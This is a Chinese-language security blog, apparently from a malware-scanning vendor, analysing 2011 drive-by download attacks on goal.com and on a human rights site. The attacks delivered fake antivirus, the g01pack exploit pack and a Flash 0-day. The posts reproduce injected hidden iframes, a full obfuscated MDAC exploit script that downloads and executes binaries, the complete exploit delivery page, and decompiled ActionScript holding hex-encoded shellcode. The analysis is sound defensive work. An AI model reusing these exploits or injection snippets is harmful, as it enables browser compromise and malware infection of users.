阿碼外傳－阿碼科技非官方中文 Blog

2011年5月31日

成人網站擁有大量流量... 及惡意廣告

無法查看此摘要。請 按這裡查看文章。
繼續閱讀全文...
張貼者： NightCola (可樂堡) 時間： 下午2:20 1 篇回應
分類： , ,

2011年5月20日

goal.com再度散播惡意程式：偽防毒軟體"Security Shield"

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)

在我們上一篇分析goal.com的報導中，有提到一段："根據我們所搜集到的資料，有部份的goal.com似乎已經被感染且允許攻擊者操控其網頁內容。受感染網站可能存在供攻擊者持續使用的後門程式，用以控制該網站。"

上次事件中所使用的惡意程式碼在不久之後即從goal.com中消失，然而，HackAlert在最近(2011/5/17)又偵測到該網站有在散播惡意軟體的行為，表示攻擊者在該網站應該已經植入了後門。在這一次，他們透過goal.com來散播偽防毒軟體"Security Shield"。

[摘要]

觸發行為：
在使用者瀏覽Goal.com後，瀏覽器執行了該網站中被插入的惡意程式碼(指向31d6f5art8.co.be)後，不需要透過任何誘騙的手段、也不需要使用者點選特定連結，便會開始產生偷渡式下載(Drive-by Download)的行為將偽防毒軟體"Security Shield"安裝到使用者的電腦上。使用者僅是簡單的瀏覽一個網站，就受到惡意程式的感染。"Security Shield"會持續的發出警告，同時開啟瀏覽器連到一些成人網站，只有在當使用者購買了"序號"之後，才會停止這些擾人的行為。就算將電腦重開機，也沒有辦法停止這些擾人的行為，因為該偽防毒軟體已經安裝到使用者的電腦裡面並且常駐著。

惡意網域 a78hl7zv4p.co.be 針對每一個IP僅會提供一次攻擊碼。

在這篇文章剛發出之後，攻擊者又非常快速的將上面提到的兩個惡意網域關閉，立刻使用了一組新的惡意網域：zfdim0u06t.co.be 以及 4t7uxaxrg8.co.be。而當我們在修改我們部落格上的文章時，他們又換了一組惡意網域：uzldzzzeo3.co.be 及 zepa6hr6jk.co.be。

偵測率：
惡意網域包含 31d6f5art8.co.be、a78hl7zv4p.co.be、zfdim0u06t.co.be 及 4t7uxaxrg8.co.be。沒有任何一個被urlvoid.com上面的18家黑名單提供者標示為黑名單。
至於goal.com本身，在urlvoid.com上同樣也沒有被任何一家標示(0/18)。

惡意程式"Security Shield"本身在VirusTotal上面的偵測率是6/42。

使用技術：
偷渡式下載(Drive-by Download)，攻擊者控制了goal.com的內容。(本案例非透過惡意廣告散播)

以下是我們針對這一事件所錄製的影片，從一開始瀏覽goal.com，到整個"Security Shield"執行起來。

[感染點]
被感染的網址是[http://www.goal.com/en]，以下為感染進去的程式碼片段：
<div id="eplayer">
<style type="text/css">#adtfd {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style>
<iframe id="adtfd" src="http://31d6f5art8.co.be/ad.jpg"></iframe>
</div>

此段程式碼會產生iframe指向 http://a78hl7zv4p.co.be/domains/buy，這就是產生攻擊碼(exploit code)的網址。
攻擊碼一旦成功執行，瀏覽器會產生偷渡式下載的行為：從 http://a78hl7zv4p.co.be/domains/bf02bde9910ff9be016eb48ac5a51043.php?thread_id=2&f=63444537&topic_id=buy& 下載"Security Shield"。

"Security Shield"會自行進行安裝，隨即開始顯示假的警告以及自動開始瀏覽器連向成人網站：


[偵測率]
惡意程式"Security Shield"本身在VirusTotal上面的偵測率是6/42。

goal.com本身，在urlvoid.com上被標示為黑名單的比率是0/18。


[網站流量及排名]
1. 根據compete.com，goal.com每一天平均有232,116個人瀏覽。
2. 根據checksitetraffic.com，每一天則有215,989人。
3. goal.com在Alexaalexa.com全球的排名是Rank. 379。
繼續閱讀全文...
張貼者： NightCola (可樂堡) 時間： 晚上8:17 0 篇回應
分類：

2011年5月16日

超過一半以上的惡意廣告來自Clicksor

無法查看此摘要。請 按這裡查看文章。
繼續閱讀全文...
張貼者： Chris 時間： 下午1:24 0 篇回應
分類： , ,

2011年5月10日

知名足球網站(goal.com)散播惡意程式

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)

1. 根據compete.com，goal.com每一天平均有232,116個人瀏覽
2. 根據checksitetraffic.com，每一天則有215,989人
3. goal.com在Alexaalexa.com全球的排名是Rank. 379

HackAlert最近在4/27~4/28中偵測到有Drive-By-Download的行為。根據我們所觀察到的，我們相信攻擊者具有能夠進入goal.com系統內部的權限，同時僅在4/27~4/28中測試攻擊的效果。
以下是我們的技術報告：

[摘要]

A. 根據我們所搜集到的資料，有部份的goal.com似乎已經被感染且允許攻擊者操控其網頁內容。受感染網站可能存在供攻擊者持續使用的後門程式，用以控制該網站。

B. 我們認為這次的攻擊不屬於一次性的mass-SQL injection攻擊，因為相關惡意網域並未出現在其他被感染的網站中。

C. 惡意網域包含：
1. pxcz.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
2. opofy7puti.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
3. justatest.cz.cc (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)

這些線索顯示這是一個針對goal.com所發動的攻擊。

D. 持續散播時間為4/27~4/28，攻擊者似乎是使用這段時間來測試攻擊的效果，而在這段時間被我們的Scanner掃到。

E. 被我們採樣到的攻擊碼會針對以下的弱點進行攻擊：CVE-2010-1423 (Java), CVE-2010-1885 (MS help center HCP), CVE-2009-0927 (PDF), and CVE-2006-0003 (MS MDAC)

F. 使用的是g01pack exploit pack，與一般的exploit pack不同的是他包含了一個假的admin管理頁面，攻擊者可透過這個假的"honeynet"來觀察是誰在做進一步的調查。

G. 攻擊碼本身做了相當程度的"變形"，在這邊我們不用"混碼"這個字詞的原因是：除了混碼之外，攻擊碼本身就使用了有別於以往的方式來規避偵測。

H. 惡意程式本身透過UPX來進行加殼，會修改系統中的setupapi.dll及sfcfiles.dat。當我們第一次傳送到VirusTotal時，僅有四家防毒廠商(4 / 41)標示其為惡意。

I. 惡意程式會連到以下網域：

1. testurl.ipq.co:80 (UK) (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
2. 74.125.47.99:80 (US)，反解得到coldgold.co.uk (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單)
3. banderlog.org (沒有被任何一家防毒廠商/Google SafeBrowsing 標示為黑名單，但是在clean-mx.de可以看到他的蹤跡)

[詳細資訊]

在這裡可以下載我們側錄的感染記錄檔。包含了在用瀏覽器瀏覽時所產生的Http Traffic，從開始瀏覽網站到惡意程式本身透過瀏覽器被下載下來。

整個感染鏈為：
1. goal.com，包含iframe指向pxcz.cz.cc
2. pxcz.cz.cc 內包含iframe指向justatest.cz.cc
3. justatest.cz.cc內包含攻擊程式碼(g01pack exploit pack)，會依照使用者的瀏覽器不同提供不同的攻擊碼
4. 攻擊碼成功執行，從justatest.cz.cc下載惡意程式
5. 惡意程式連結到testurl.ipq.co (UK)，74.125.47.99:80 (US, coldgold.co.uk)，及banderlog.org
整個感染鏈從http://www.goal.com/en/開始：
<p>Arjen Robben has admitted that his future lies with the German and European giants, hinting that he could even remain there for the rest of his career <style type="text/css">#yxvim {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style><iframe id="yxvim" src="http://pxcz.cz.cc/ad.jpg"></iframe></p>

攻擊者在上述HTML語法的後面加上了一個iframe指向pxcz.cz.cc。pxcz.cz.cc包含了另一個iframe指向justatest.cz.cc，justatest.cz.cc則同時包含了攻擊碼(g01pack)及惡意程式本身。這個g01pack比較特殊的部份是他同時包含了一些假的Admin頁面，這個Admin頁面支援一些常見的帳號密碼(比如Admin / Admin)，用來讓分析人員相信他們成功的穫取了g01pack管理頁面的權限。

一旦成功登入之後，呈現在分析者眼前的是攻擊者造假的數據，在此同時，攻擊者則可透過這個行為，了解有哪些人正在嘗試分析這個惡意網域。

這次事件中的攻擊碼經過相當程度的"變形"，有別於以往的混碼技術，讓分析人員無法一眼即看出其為攻擊碼。TExploit pack本身包含了許多組攻擊碼，在此我們僅秀出利用CVE-2006-0003 (MS MDAC)漏洞的攻擊碼。此段攻擊碼可以在這裡取得。
<html>en clonus purins knot ghat inlier sine bipeds obese tart.<body>heroins pallors glugs. Opera. Pyx ducted boss shea abele knot hajes eh moot nisi tickled howl pangens bobs blind stir reinked ajee.atria obese saddle. Nisi uh bracts pyx.bipeds abaft arctic brave arabic purins blind polo. Pyx pallors. Sludge atria noisy bug slojd stow dumps. Kappa sri tawse bracts hank.fresco delta. Caldron arctic bucko sine byre inlier haeres.<script>var test;function redirect(){location.href="?topic_id=6.0&forum_id=qtest&action=MSIE&nid=name&year=c&start=2&thread_id=53585053&rid=708";}setTimeout(redirect, 20000);var move=new String("openul0".substr(0,4));var out=["ctfmon",String("javaWI8X".substr(0,4)),new String("acro"+"bat"),new String("explore"+"rC52".substr(0,1)),String("useri"+"nit"),"chromeHkpS".substr(0,6),"svch"+"ostc"];var follow="Sav"+"eTo"+"Fil"+"e";var air;var family=1;var low=6000;var never=";";var now=String("setTimeout");var sun=0;var age="";var turn=[];var have=["spellOver","play","cross"];this.few=29107;this.few-=150;var begin;var useDrive="clsid:BD9oqk".substr(0,9)+"6C556-65ANEm".substr(0,9)+"3-11D0-98rWqE".substr(0,9)+"3A-00C04F"+"ZuqC29E36uqZ".substr(3,6);var stay=new String("she"+"lle"+"xec"+"ute");var then=new String("replaceUyK".substr(0,7));var once=new String("typeUdm".substr(0,4));var ground=["youUnder","home","base"];var own=new String();var meLittle="setAttrT2hF".substr(0,7)+"ibute5MEY".substr(0,5);var will=new String("pus5ceI".substr(0,3)+"9BUhU9B".substr(3,1));var most=2;var best="send";var teachSeem="";var star="";try {} catch(mark){};var strong;var bed="Close";var end="Wri"+"te";var pass="http://opofy7puti.cz.cc:80/domains/f848af41f9d81c1603fb52a6b7844642.php?start=12&thread_id=53585053&forum_id=qtest&";var readAmong="CreateObjec"+"t";var redDog="responseBo"+"dyck4".substr(0,2);function oh(){sea=[];want=18559;want++;try {var book="ourPiece"} catch(book){};var they="";come=["northTurn","set","above"];change={};if(pass.indexOf(never) > -1){var groundMight=new Array();this.strongLess=978;this.strongLess++;call={word:10445};var writeHim=["comeWould"];var serve="";var stopYes="";hand=25269;hand-=192;school = pass.split(never);var good={his:20957};var turnBoy=false;this.travel="travel";add=16993;add--;var should="";for(var i in school){var govern="";this.airMark=false;place=27537;place-=204;try {var run="familyCommon"} catch(run){};var yetNeed=new String();var quick = school[i][then](/^\s+|\s+$/g, age); var music="";this.plant=459;this.plant-=142;var underHad="";fall={};yetFarm=6780;yetFarm-=19;var shape=29557;if(quick != age){var make=false;var their={high:"down"};plane={yes:"front"};turn[will](quick);wood={blue:8491};ohEat=17592;ohEat+=255;this.road="road";}}} else {var thereLarge=new String();var yesWheel=new String();var saw=["shortSleep","stayCommon","heard"];this.yourLeave="yourLeave";var table=23075;turn[will](pass);var turnYet="turnYet";var friendPound={newBody:"studyNotice"};} dryCity={callChange:16908};this.passPeople=8404;this.passPeople--;var drive=[];var able="";var willTake="willTake";return turn;}var foodThough=new String();try {} catch(veryStrong){};this.moveEarth=7491;this.moveEarth+=102;this.someOpen=26120;this.someOpen++;function than(again, point){life=["simple"];knowGround=24748;knowGround--;figureFigure=30877;figureFigure-=200;var does=new String();var sleepFace=["orWalk","inch","cold"];yourSlow=775;yourSlow+=122;what=[];a=21635;a+=166;test[meLittle](again, point);}northBeauty={watch:"fewLove"};var line={};var head=22943;var piece=32549;function the(){var pose=20499;var frontCross=4606;ago=7777;ago+=220;if(!free()) return;serveWell=25614;serveWell++;objectWorld=24863;objectWorld-=114;darkCommon=22684;darkCommon++;var willPerson=new Array();test=document.createElement(new String("object"));than(new String("classi"+"d"), useDrive);var moveEarly="moveEarly";this.moonHome="";bedPower={since:false};than("id", "test");try {strong = test[readAmong]("Shell.A9kDj".substr(0,7)+"DH0pplicat0HD".substr(3,7)+"MrbionMbr".substr(3,3),age);find=[];this.learn="";hold=[];air = test[readAmong]("adodb.strea"+"mnXk".substr(0,1),age);this.why=19607;this.why++;var rest=new Date();var him="";var turn = oh();this.differ="differ";var sawAmong=["moneyAt","moreA","boyMuch"];var stopSun=["letter","pound","young"];var sideHeat=["white","spellAbove"];var thoseFirst=["northFact","needCome"];doesRock=17386;doesRock--;if(turn.length <= 0) return false;which=["i","took","fish"];agoOld=["laughOften","seemOrder","figureGreen"];var runHalf={cut:27153};var schoolOut=["differGot","wonder","poseNotice"];for(var i=sun; i < turn.length; i++){var fromLong=new Date();var haveSlow=new String();var ifCover=["finalDone","againOnly"];var unitIt=[];pullTown={leadOut:"deepMade"};var decide=[];this.both=22541;this.both++;var unit = out[i % out.length];var enough = turn[i];goodDrive={water:"cry"};secondCenter=[];var endDiffer=false;var your = "./."+"./yzvw".substr(0,2) + unit + new String(".exe");this.dont=18287;this.dont--;try {var faceAppear="fewReal"} catch(faceAppear){};var voicePoint=low * i;var shortPlane=["heatRule"];var knew="";try {var shapeCause="ageHave"} catch(shapeCause){};dryLook=[];meanFar(new String(enough), new String(your));var right=23685;try {} catch(feel){};try {} catch(hisTree){};var had=new Date();}} catch(e){}}function longSaid(stoodTree){planeIt={};var shouldSide=8362;northAmong={faceMade:false};var windReal="windReal";cutOften=["riverPiece","orderWater","commonLay"];nowSay=["bodyAlso"];begin = test[readAmong]("msxml2.XMLO4eW".substr(0,10)+"HTTP", age);var planeTop=new Date();whichThem={shipSame:26359};var fatherIdea=24125;var there=16243;begin[move]("GET", stoodTree);asAmong=["seaFew"];whileRun=["warDrive"];this.feetSing=7842;this.feetSing--;begin[best]();var thatWhen="thatWhen";this.hisNever="hisNever";story=9303;story+=10;return begin[redDog];}function free(){var thereWrite={strongPaper:false};this.keepLot="";return (document.body.style.textOverflow != undefined);}function meanFar(stoodTree,color){var wentMother=["turnTalk","staySleep","she"];this.largeRed=28365;this.largeRed-=184;eat=["atMove"];var found={shouldPlay:"figureStep"};try {var standMother=3260;toward=26805;toward++;var actPress="";try {var work="lightCold"} catch(work){};try {var other=new Date();var rainTable=28788;air[bed]();this.coldMake="coldMake";fatherUs=["andFast","hour"];} catch(stand){}this.lastTheir=29388;this.lastTheir--;var downStrong={topWas:11226};try {var answerWater="servePaper"} catch(answerWater){};power=longSaid(stoodTree);peopleHad=["kingRiver"];this.house=4015;this.house++;air[once]=family;cameWho={hasEye:"bringForce"};foodEast=["feetThat","shortHave"];air[move]();happenUs=["fewMany","butWell"];var helpRound=27891;air[end](power);drawHome={number:721};surePage={late:false};air[follow](color,most);try {var cryFarm="putFollow"} catch(cryFarm){};var plantClear="";air[bed]();try {var meEver="shapeDark"} catch(meEver){};try{var whyRule=["slow","followNight"];var whiteAnswer=["standWatch","fastKnew"];var sameOff=26811;actCome=["walkHand","even","waterWay"];this.draw=29713;this.draw-=76;strong[stay](color);var clear="";var tellFront=["seemBody"];var lookNumber="";} catch(e){}mayForce=12153;mayForce+=212;var homeMay={unitFirst:false};manAt=8219;manAt+=30;whereSoon=["happenRiver","aboveCause"];cutLive=["wentThere","meanBusy"];}catch(noun) {lessFive=["fishTail","behindYet","ourAgo"];this.same=false;var airSix="";try {var direct=false;var better=["showGrow","factHand"];air[bed]();changeBack={hot:6344};var it=new Array();} catch(first){}helpPlain=["beBig","listen"];}var ageSecond=15826;this.fallThree="";var faceTree=28716;}var sleep=0;var topAnimal=false;function groundMen(){while(sleep++ < 171){groundMen();}if(!topAnimal){topAnimal = true;the();}}groundMen();</script>nisi nebs coalify opera caw add gluts rewon toph reinked bucko web moot.woofer reinked haeres arabic hernia bice blind nebs schmoos stow opera obese snaffle en hajes scow pyx.</body></html>
繼續閱讀全文...
張貼者： NightCola (可樂堡) 時間： 下午3:04 2 篇回應
分類： , ,

2011年4月27日

利用 Flash 0-Day 的掛馬變形手法，攻擊人權網站

(作者: Chris Hsiao, NightCola Lin, Wayne Huang, Fyodor Yarochkin, Crane Ku)

阿碼科技為世界上最大的雲端惡意掃瞄服務的廠商之一，OEM給大型的資安公司及主機供應商。最近我們的Hackalert發現到許多起的偷渡式下載(Drive-by)攻擊都伴隨著零時差攻擊(0-days)。
在最近幾年我們發現到一些有趣的威脅名詞不斷的被創造出來，因此，我們覺得有必要給這次的手法一個獨特的名詞, 我們稱之為：Drive-by Cache。

以下是這篇報導的幾個摘要：
A. 本次攻擊的手法是Drive-by Download的變種，我們稱之為Drive-by Cache, 這個新的機制相較於傳統的Drive-by Download更難被偵測到。
B. 我們使用到最近被Hackalert scanner所偵測到的一個例子，被感染的網站是一個人權網站, 所利用的漏洞是Adobe flash 0-day: CVE-2011-0611，而HackAlert在一週前偵測到它的當時，是沒有相對應的patch的。
C. 這次事件中的惡意程式本身會連回一個位於香港的伺服器，IP為182.237.3.105。

更多的總結請見 [5. Forensics Summary].

[大綱]
1. Drive-by Downloads的簡介
2. Drive by cache
3. 實際案例
4. 偵測率
5. Forensics Summary
6. 完整程式碼

[1. Drive-by Downloads的簡介]

一個典型的Drive-by Download感染流程是：使用者瀏覽一個受感染的網頁之後，在未經過使用者的同意，使用者也沒有點選任何連結的情況下，其電腦就被安裝了惡意程式。我們先前的文章:Google及Microsoft的兩大廣告平台遭掛馬利用散播惡意軟件就是一個最好的例子。

這種型態的威脅從2000年開始就已經存在，在2003年時透過heap-spraying 的技術被大量的運用。然而，"Drive-by Download"這個名詞直到Google在2003年發表了一篇論文："Ghost in the Browser"後，才更具體的被引用。

下圖簡單的描述這個流程，更詳細的資料請參考我們在2009 Blackhat / DEFCON所發表的drivesploit 演示中之第15-17頁。



第一步，受害者瀏覽一個受感染的網站，這個網站因為存在已知的漏洞，被有心者植入惡意連結，此連結會動態產生iframe或script，將受害者的瀏覽器導向惡意網域。最終瀏覽器會執行到惡意網域上的惡意攻擊碼(exploit code)，這些程式碼大部份都是javascript或flash。在本次事件中，該exploit code所利用的是Adobe flash 0-day CVE-2011-0611 這個漏洞。

第二步，瀏覽器在執行了exploit code之後，會強制瀏覽器去執行某些指令(shellcode)。這些指令通常都是請瀏覽器連上某個特定的Url(大部份的情況下是外部網域)。

第三步, 瀏覽器依照這些指令將某個Url上的檔案抓下來存在受害者本機上並且執行。

對一般透過靜態特徵碼(pattern)來偵測的防毒軟體來說，要偵測Drive-by Download並不是一件容易的事。這是因為這類exploit code都是透過script來達成(javascript或是flash actionscript)，這類語言可以在執行期間使用大量的混碼技巧動態的產生各種不同的形式給客戶端去執行，就像我們在drivesploit presentation中使用到的技巧類似。

收集這類型隨機產生的pattern不僅對偵測率沒有多大的幫助，反而會因為無窮無盡的pattern讓自己的資料庫無止盡的增加，亦同時增加偵測時間。

行為偵測則對於此類型的偵測相當的有效，因為以Drive-by Download來說，他的行為模式是一致的且可以被有效的定義：
透過hooking Browser(及javascript engine)呼叫特定API的方式，我們可以看到一序列固定的步驟
A. 瀏覽器瀏覽一個網頁 (受害者瀏覽一個被感染的網頁)
B. Exploit Code被成功執行, 瀏覽器因此開始執行經由exploit code產生的shellcode
C. 瀏覽器呼叫urlmon.dll中的URLDownloadToFile()，這個呼叫會去特定的網址抓檔案之後存在本機電腦上
D. 瀏覽器執行該檔案

這些shellcode都偏好讓瀏覽器去呼叫一些特定的API，比如：URLDownloadToFile()，在目前的exploit-db網站上，就有8 drive-by download shellcodes，而這8個shellcode都是利用URLDownloadToFile() (即上述中的步驟C)來進行抓取遠端檔案的動作。



但是, 瀏覽器一般來講, 不會主動的去執行URLDownloadToFile()，因此，行為偵測即可有效的透過此一偵測方式來判別瀏覽器是否正在進行惡意行為。

一般來說，為了繞過各種偵測技術，shellcode必需被設計的越小越好，同時行為也越像瀏覽器越好。要達成這個目的最簡單的方式，就是請瀏覽器去幫忙分擔原本需要shellcode來處理的部份。

[2. Drive-by cache]

而Drive-by Cache正是如此，在整段shellcode執行的過程中，他不會去進行(C)下載檔案的動作。取而代之的是，他是直接從瀏覽器的快取資料夾裡，取出惡意程式並且執行它。

這也就是為什麼我們把 download 替換為 drive-by cache 的原因。

至於惡意程式是如此在執行前進入瀏覽器的快取資料夾呢? 我們可以透過下圖來了解：

以下是典型的Drive-by Download流程：
(1)瀏覽器讀取網址
(2)瀏覽器執行Exploit Code
(3)瀏覽器執行shellcode
(4)shellcode去遠端下載惡意程式之後儲存在磁碟上
(5)shellcode執行惡意程式

在Drive-by Cache中，第四步的流程被往前移到第一步與第二步之間，除此之外，原本是透過shellcode來下載的動作反而是透過瀏覽器自己本身來完成這是怎麼達成的呢?

非常簡單：惡意程式本身被更名為.jpg 或 .js檔後連結到受感染的網址。以這次的事件來看，我們可以看到這段程式碼：

<script src=newsvine.jp2>

這段碼告訴瀏覽器將newsvine.jp2視為javascript，瀏覽器會產生以下動作
(a)讀取這個檔案
(b)將檔案放到瀏覽器的快取資料夾
(c)將newsvine.jp2視為javascript並且執行
當然在(C)的步驟中會失敗，因為newsvine.jp2本身是惡意程式，但是重點是他本身已經被放到瀏覽器的快取資料夾了!

再次強調一次, 這個儲存的動作是瀏覽器本身的行為而並非shellcode, 而在呼叫惡意程式執行的這一部份，所使用的APIs也必然大不相同

對一個行為分析引擎來說
a)這是一個非常正常的瀏覽器行為並且沒有不尋常的API呼叫
b)這個動作發生在第一步(瀏覽器讀取網址)之後，因此這不是傳統的Drive-by Download行為

縱合以上分析，相較於Drive-by Download，Drive-by Cache較能規避現行偵測機制。

[3. 實際案例]

在寫這篇部落格的時候，該人權網站仍然持續被利用，透過Drive-by Cache的手法來散播惡意程式。
HackAlert在第一時間偵測到這種非典型的Drive-by Download攻擊。

惡意程式碼片段如下(在網頁原始碼的最下面)：


</div><script src="/includes/googlead.js"></script></body></html>

/includes/googlead.js 組出一個iframe指向惡意網域：

if (document.cookie.indexOf('popad') == -1) {
var e = new Date();
e.setDate(e.getDate() + 1);
e.setHours(0, 0, 0);
e.setTime(e.getTime());
document.cookie = 'popad=true;path=/;expires=' + e.toGMTString();
document.write("<iframe frameborder=0 style='position: absolute; top:-9999px;left:-9999px' src='http://71.6.217.131/dir/AI/exploit.html' width=468 height=60 scrolling=no></iframe>");
}

該exploit code是由http://71.6.217.131/dir/AI/exploit.html所提供，完整的原始程式碼可以在部落格最後面看到，在此我們僅列出最重要的部份：

var display="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+"<script src=newsvine.jp2><\/script>\r\n"+
"<object width=\"550\" height=\"400\">\r\n"+
"<param name=\"movie\" value=\"done.swf\">\r\n"+
"<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n"+
"<\/embed>\r\n"+
"<\/object>"

編排之後：

<script type="text/javascript">
window.onerror=function(){return true;};
</script>

<script src=newsvine.jp2></script>

<object width="550" height="400">
<param name="movie" value="done.swf">
<embed src="display.swf" width="550" height="400"></embed>
</object>

"display.swf"就是包含了exploit code的flash檔。完整的反編譯後的程式碼在部落格最後面可以看到。這一段碼則是當使用者的瀏覽器執行之後，就會將newsvine.jp2這隻惡意程式放進瀏覽器快取資料夾，(Drive-by Cache)。

緊接著，display.swf被瀏覽器下載下來並且其中的ActionScript被執行，該ActionScript中內含shellcode CVE-2011-0611 Adobe Flash 0-day，執行了之後則將先前存放在快取資料夾中的惡意程式跑起來。

Newsvine.jp2這隻惡意程式會連回位於香港(jeentern.dyndns.org:80 182.237.3.105)的CNC伺服器。

[4. 偵測率]

這次的exploit code是包含在Flash的actionscript裡面。因為有別於傳統的Drive-by Download shellcode，此次攻擊所使用的技巧是Drive-by Cache，因此導致偵測率極低，當我們在第一時間把檔案上傳到Virustotal掃描時，沒有任何一加防毒軟體有偵測到此種惡意行為。submitted the swf file to VirusTotal, 結果為 0 out of 42 antivirus vendors。

另外針對newsvine.jp2(swf.exe)這個惡意程式本身，結果為 1/42 on VirusTotal (report is here)。僅有Microsoft偵測到這隻後門程式。



[5. Forensics Summary]

以下是我們目前所知的部份：

1. 在大約一週前，特定的人權網站被感染(許多頁面)，惡意連結目前仍然尚未移除
2. 使用Drive-by Cache的技巧來進行攻擊
3. 利用 CVE-2011-0611 Adobe Flash 0-day 的漏洞
4. Virustotal在第一時間的偵測率為 0/42 (SWF exploit code部份)、1/42(惡意程式本身)
5. exploit code是由71.6.217.131來進行攻擊，這是一個位於聖地牙哥(San Diego)的網站，Hosted by Cari.Net，我們相信他們的伺服器被感染來當作煤介
6. newsvine.jp2這隻惡意程式(原始檔名為swf.exe)是透過Drive-by Cache的技巧來執行，他是一隻透過VB寫出來的後門程式，推斷是跟pincav同一類型，這隻惡意程式具有偽造的非法數位簽章，企圖偽冒在大陸非常熱門的迅雷P2P下載軟體
7. newsfine.jp2會連回位於香港的CNC主機 (jeentern.dyndns.org:80)

[6. 完整的程式碼]

以下是此次Drive-by Cache事件中完整的程式碼 (exploit code), 如果你需要更多的資訊，請e-mail給我們：
chris.hsiao在armorize點com
nightcola.lin在armorize點com

1. http://71.6.217.131/dir/AI/exploit.html:

<html>
<head>
<script type="text/javascript">
function getCookieVal(offset) {
var endstr = document.cookie.indexOf(";", offset);
if (endstr == -1) {
endstr = document.cookie.length;
}
return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return getCookieVal(j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}

function SetCookie(name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (2 < argc) ? argv[2] : null;
var path = (3 < argc) ? argv[3] : null;
var domain = (4 < argc) ? argv[4] : null;
var secure = (5 < argc) ? argv[5] : false;
document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}

function DisplayInfo() {
var expdate = new Date();
var visit;
expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000));
if (!(visit = GetCookie("vis1t"))) visit = 0;
visit++;
SetCookie("vis1t", visit, expdate, "/", null, false);
return visit;
}

function code() {
var num = DisplayInfo();
if (num < 3) {
return 1;
} else {
return 0;
}
}

function user() {

var weekDay = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"March.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var display = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"display.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";

var Example = "<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n" + "<script src=newsvine.jp2><\/script>\r\n" + "<object classID=yg.dll#yg.e><\/object>\r\n" + "<object width=\"550\" height=\"400\">\r\n" + "<param name=\"movie\" value=\"done.swf\">\r\n" + "<embed src=\"Birthday.swf\" width=\"550\" height=\"400\">\r\n" + "<\/embed>\r\n" + "<\/object>";
var info = navigator.userAgent.toLowerCase();
var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var ck = code();
var January = info.indexOf('msie 8.0');
var February = info.indexOf('msie 7.0');
var April = info.indexOf('msie 6.0');
var June = info.indexOf("windows nt 5.1");
var August = info.indexOf("windows nt 6.1");
if (January > 0 && June > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + weekDay;
}
if (June > 0 && ck == 1 && (February > 0 || April > 0)) {
document.body.innerHTML = "xxxx" + display;
}
if (January > 0 && August > 0 && ck == 1) {
document.body.innerHTML = "xxxx" + Example;
}
}
</script>
</head>
<body onload=user()>
</body>
</html>

2. ActionScript中的exploit code, 由取得的swf檔反編譯：
package ie_fla {
import flash.display. * ;
import flash.utils. * ;

dynamic public class MainTimeline extends MovieClip {
public
var s: Object;
public
var s2: Object;
public
var s3: Object;
public
var a: Object;
public
var t: Object;
public
var i: Object;
public
var r: ByteArray;
public
var ldr: Loader;

public

function MainTimeline() {
addFrameScript(0, this.frame1);
return;
} // end function
public

function hexToBin(param1: String): ByteArray {
var _loc_2: String;
var _loc_3: * = new ByteArray();
var _loc_4: * = param1.length;
var _loc_5: uint;
_loc_3.endian = Endian.LITTLE_ENDIAN;
while (_loc_5 < _loc_4) {
// label
_loc_2 = param1.charAt(_loc_5) + param1.charAt(_loc_5 + 1);
_loc_3.writeByte(parseInt(_loc_2, 16));
_loc_5 = _loc_5 + 2;
} // end while
return _loc_3;
} // end function

function frame1() {
this.s = new ByteArray();
this.s3 = new ByteArray();
this.a = new Array();
this.t = "4357530acc050000789c4d546d6c5365143eb7bdedfb765d29dd189dac2053f00345e3171f71b062bbeec3b63377b0a026c265bddd6decdaa6f7d61698a82466fb619610e20549f8322144134d10158d261287c9f8e10f31460da2268b4663628cc1080c37cf79efb5f5fe787bee799ef39cf39c7b7b6be0d901103c01d02e413c047875bb4f7b00ac66f0007b757abc95cde1b1a8e5a80b92321eed30d9063ed8028f410ce2d00309e8853ee887935321c86859b592374102790db8e0b0643501db7ebebf8f9dee7effdc4e2c0778cd85e4a885ea4bcd923fb90b93cd3021813b8c8728f84def4cb32587be3f6317d4f3076eae5bc60aee8b3fd585dac00a6033bcdce2e4947c7d216c794196641797d27d5478e58594ca6e7bf19d63762179f985981f00a13cf1e05af6f7879f5fb251e50ed494ddb2c44812455c0a0d3b75e2c9bd62d856a05b37627e0a16868a5ce49bc062206a384448377ee3be28fbc8f3c527b6aee502ee567aa966e781c3f78b1abf6d1c21592260f5feb9b8007cf004b90ee3901bc5906c15bb8b5dbb7ced6b47cc0f8d016564f52d10cbef0ead67576ffe3e53dfd0d579127793f8db7cc31a212ec366cb07dc